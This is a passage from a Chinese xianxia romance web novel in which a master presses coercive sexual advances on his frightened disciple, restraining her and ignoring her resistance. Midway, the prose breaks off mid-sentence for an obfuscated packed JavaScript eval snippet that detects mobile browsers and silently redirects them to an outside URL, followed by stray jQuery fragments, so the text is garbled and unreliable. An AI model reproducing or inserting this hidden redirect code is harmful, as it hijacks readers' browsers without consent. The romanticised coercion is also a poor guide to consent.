他说完,忽然俯下身来。
苏辞影看着他美丽的脸,吓得险些软到在地上。
她原以为叶如照要亲吻自己,因为他方才的目光,一直流连在她的下巴,乃至唇瓣上。
但叶如照靠近之后,只是一只手按着她的后脑,另一只手仍摩挲着她的下颌,紧接着,很轻地吻了吻她的发顶。
苏辞影看不见他的表情,可那轻柔的触感,却让她觉得仿佛一座山压了下来。
这个吻转瞬即逝。他的手也从她脑后抽离了,但苏辞影清楚地知道,那种被无声无息笼罩着的感觉,并未消失。
“你很紧张?”
叶如照的话音落下,气息也逼近了些。他的指尖本是微凉的,可在她下颌反复流连之后,也渐渐染上了她的体温。
苏辞影忽然想起他曾经的“名言”,忍不住推开他的手:“师尊,是您自己说的,您不会喜欢上任何人,那您现在是什么意思?”
“……我现下只问你,我方才的靠近,你可有半分不适、恶心、愤恨,或是厌恶?”叶如照被推开手指,却并无不悦,他只静静注视着她的脸,“我告诉你,这些情绪我都没有,若你觉得不虞,亦可斥责为师。”
苏辞影一时无言以对。
“我怎么能斥责师尊,这难道不是大逆不道吗……而且,我目前并不知道……宗门里关于师徒关系之类的戒律……自然没办法为您打破什么门规的。”
似乎觉察到她的情绪,叶如照又缓缓开口道:“你现在应该把我当做一个寻常男人来看待,自然可以斥责我。至于门规,门内虽未明令禁止师徒相恋,但师徒相恋终究有辱师门,毕竟——师者,所以传道、授业、解惑也。”
“师尊,你原来还知道这些。”
“我为何不知?”叶如照像是有些诧异,又补了两句,“为师者,德行当完美无瑕,而私德有亏,便不配为弟子仰慕之象,所以师者必须表现得心无杂念,求道唯虔。”
苏辞影觉得他说的与他做的,全然是两回事。
或许是她呆滞的神情太明显,叶如照沉默片刻,忽然牵起她往暗室深处走去。
两人的衣袖在行进间不断交缠。
穿过层层叠叠的纱幔,暗室最里头现出一张极大的床。
那床颇为宽阔,宛如一座小屋舍的模样,精美的镂空花纹作床壁,笼罩着双层艳色的纱幔,有顶、有盖、有柱,床头的双鸾凤装饰,更是极尽奢华。只是室内太过昏暗,非得在床两侧点上烛火才可。然而被那红艳艳的火光一映,苏辞影心头蓦地涌起不祥的预感。
“方才我问你的话,你尚未回应。”他与她四目相对,又在她愣怔的神情里,轻轻吻了吻她的脸颊。
此刻的叶如照在苏辞影心中,已经跟往常的形象大相径庭,这让她直觉感到危险。
就像人间话本里那些妖物,专生一张冷艳容颜,起初只为欺瞒,继而日久生情,待她神魂颠倒后,便再也逃不出他的掌心。
况且,她曾经因为暗生逾越之情,不知私下神伤多久,日夜被伦理的枷锁困缚着,提心吊胆,肯定是十分酸楚。可听叶如照方才所言,他竟对那些门规戒律全不在意。
苏辞影当即想拔足逃离这间暗室,可在他目光笼罩下,她觉得自己总该说些好听的。所以她强压下冷汗,小声道:“师尊……我没有讨厌您。”
“嗯。”叶如照听了,神色依旧恬静,只慢慢环住她的腰,低声道,“那这样呢?你可会觉得不适?”
其实苏辞影几乎吓晕了,若不是叶如照搂着她的腰,她怕已瘫软在地上。
这些年来,他在她记忆中总是肃冷而疏离的,加之身份隔阂,她虽幻想过与他相恋,却从未料到会有这般亲昵的境地。
可她如今不能流露真实情绪,她生怕他看穿自己那些藏匿着的心思。
事实上,她已经后悔了。
“没有。”
叶如照听见她的回答,将她搂得更紧了些,紧得她几乎喘不过气。
这时,耳畔忽然传来温热的吐息,激得她浑身一颤,三魂七魄都像要飞散。她听见叶如照轻声说:“其实为师偶然得了一门增长修为的功法,于你而言,百利而无一害。”
苏辞影此刻对他口中的功法、修为、秘籍全无兴趣,她只想立刻冲出暗室,回自己院落收拾行囊,然后逃之夭夭。
叶如照在她眼里,如今已不是沉静稳重的仙君,而是这洞府中噬人的妖怪。若再迟疑片刻,自己只怕真要被慢慢吞下。
所以苏辞影装作恼怒的模样,用力推开了叶如照,即便手还在发抖,她却也将话说全了:“师尊,我们是不对的吧……”
“你自然可以指责为师,是为师对不住你。”他缓缓松开她的腰身,“你可以说为师是千古罪人,对你生了肮脏下流的念头,做了悖逆人伦、罪恶滔天之事。”
这番话让苏辞影哑口无言。
他将所有罪名都说尽了,她还能说什么?
可叶如照虽如此说着,却分明没有放她离开的意思。
他将她拉到那张大床前,轻轻将她推倒在锦褥之上,随即俯身笼罩下来。
苏辞影瞪大眼睛看去,只见有几缕乌发垂落在他的胸前,那张脸依旧摄人心魄,那双鸽子血色的眼睛看不出情绪。
“你可听说过双修之法?若你自觉修为不足,所以打算离开师门,不如……与我试试?”
“师尊,我是绝不会用这等邪魔外道的。”
苏辞影当即反驳了一句,其实她的内心却已是濒临崩溃了,她虽然没有见过双修的那种场面,但是她看过不少话本,肯定知道他口中的双修是什么意思。
在此情此景下,她实在是不想答应叶如照,干脆就选择胡言乱语,就说双修是邪门歪道了。
“这不是邪魔外道。”叶如照极耐心地解释道,“双修本就是修士间互增修为、突破瓶颈的常法,有灵肉合一,阴阳调和的作用,许多人都如此修行。难道你以为……我会用邪术害你?”
从前在苏辞影心中,叶如照就是月宫里的仙人,圣洁出尘,她恨不能将所有形容神仙的诗句都赋予他。可如今她笑不出来,她甚至觉得,他说不定真通晓什么邪异术法。
这话苏辞影自然不敢说出口,她正想再寻理由拖延,他却忽然以指尖抵住她的下巴,轻轻探入她口中。叶如照一边用指腹摩挲她的上颚,时而撑开她两颊软肉,一边不紧不慢地问:“不然,你往后就搬来住罢?”
苏辞影忍不住挣动起来,却被他轻易扣住手腕,举过自己头顶牢牢桎梏住。
她只能感受他的手指在口中按压、揉捻,舌尖也被他两指轻轻夹住。他却并未再深入
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952262|192132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可她的涎水已淌至下巴,连一句完整的话都说不出了。
她眼眶泛红,眸中浮起潋滟的水光。
待叶如照终将手指抽出时,只见她下巴上亮晶晶地湿了一片。
“为师这样对你,你会不会厌恶为师?”
苏辞影对他的举动并没有厌恶,只有恐惧。她现在也不敢得罪他,免得他突然生气,干脆就不让她回到自己的院子里。所以她迎着他的目光,小声地说:“没有。”
“嗯,那我给你一个以下犯上的机会。”
他这样说着,然后把她的鞋袜都脱了。
叶如照小时候也帮她穿过外套之类的,脱鞋袜倒是很少。但现下他坐在了她的身边,甚至把躺在床上的她搂抱了起来,然后让她坐在他的怀里。
苏辞影不知道这是不是他口中的“以下犯上”,但是她确实是坐在了他的怀里、他的身上,而且他还抓着她的手腕,把她的手腕放在了他的唇边。
“看你的样子,似乎对我有很大的怨气,如今你可以出气了。”
苏辞影听见他的话,顿时脸烧得通红。
她看见他攥着自己的手腕,然后轻轻贴在他的唇边。
叶如照的唇瓣是柔软而潮湿的,带着艳色的肉红,还有一个小小的、有点下垂的唇珠,并不是非常圆润的唇珠,像是一颗水滴形往下掉。摇摇欲坠的模样,看起来极为情色。
那唇珠一下下擦过她的手腕的时候,苏辞影感觉全身都在打哆嗦,好像有一把火从手腕处烧到了尾脊骨。
“师尊,我没有这个意思!”
苏辞影从心底里想让叶如照放过自己。
“你不喜欢这样吗?其实,我挺喜欢抱着你。”
苏辞影此刻非常希望叶如照是个哑巴,于是她赶紧委婉地提醒他:“师尊,如果我跟你是道侣,我们做这个当然可以,但是现在不行。”
叶如照闻言,有些惊疑的模样。他眉梢眼角都挂上了冷意:“我可没有教过你这些东西,你从哪里学到的?”
苏辞影顿时感觉大事不妙,自己又说出了不该说的话,只是这一瞬间,她很想昏死过去:“我、我听他们说的——”
“是,为师昔日的教诲你不听,让你跟我走到如今,你要对我说一些不好的话,还问我喜欢什么女人,别人的话你倒是听得进去。”
苏辞影连忙说了点好听的:“没有没有,我是不小心听到的,真没有在外面惹是生非——”
他盯着她的脸看了好一会,苏辞影立马抱着他的脖颈,准备蒙混过关,但是叶如照并没有这个打算。他把她的腰搂住,用脸贴了贴她的脸,然后把她放在他的身下,他又凑过来用唇瓣磨她的下巴。
这次他的脸和唇都不停在她皮肉上摩擦着,苏辞影感觉身体越来越热,他好像也有点热了。
苏辞影仰望着他的脸,看见他有些泛红的面容。她总是被他的美貌所诱惑,譬如现在,她并没有想斥责他的念头,她只是想让他稍微松开她一点,让她有喘息的空间。
这是教她读书写字的人,这是传授给她剑法的人,也曾经陪她走过春夏秋冬,与她相依相伴,走过了前半生中太多的时光。
苏辞影不太明白,她对叶如照到底是什么感情,但无论是什么感情,如今都混杂在了一起,让她这样躺在他的身下,纠缠不休。